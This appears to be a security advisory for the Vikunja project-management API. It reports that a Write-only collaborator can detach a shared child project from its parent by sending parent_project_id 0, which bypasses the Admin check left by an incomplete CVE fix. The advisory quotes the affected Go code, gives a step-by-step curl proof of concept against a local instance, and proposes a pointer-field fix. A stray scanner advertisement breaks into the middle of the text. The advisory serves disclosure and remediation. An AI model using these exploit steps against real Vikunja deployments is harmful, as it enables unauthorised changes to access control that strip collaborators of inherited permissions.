| Package | Affected versions | Patched versions |
|---|---|---|
| code.vikunja.io/api | ≥ 2.3.0, < 2.4.0all versions | 2.4.0 |
The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.
File: pkg/models/project.go (lines 1009-1041)
// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
// ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}
File: pkg/models/project_permissions.go (line 145)
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
// reparent permission check -- SKIPPED when ParentProjectID == 0
}
File: pkg/models/project.go (line 1065)
colsToUpdate := []string{
"title", "is_archived", "identifier", "hex_color",
"parent_project_id", // <-- ALWAYS included, writes 0 to DB
"position",
}
pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0)."parent_project_id": 0, the struct has .Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeParentProjectID == 0CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write).UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely.parent_project_id = 0 because "parent_project_id" is always in colsToUpdate with Cols().Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.
TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
-H 'Content-Type: application/json' \
-d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')
curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN"
# Expected: 403
curl -s -X POST http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"title":"Sensitive Child Project","parent_project_id":0}'
curl -s http://localhost:3456/api/v1/projects/4 \
-H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)
| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |
|---|---|---|---|---|
| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |
Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.
parent_project_id upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."
Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.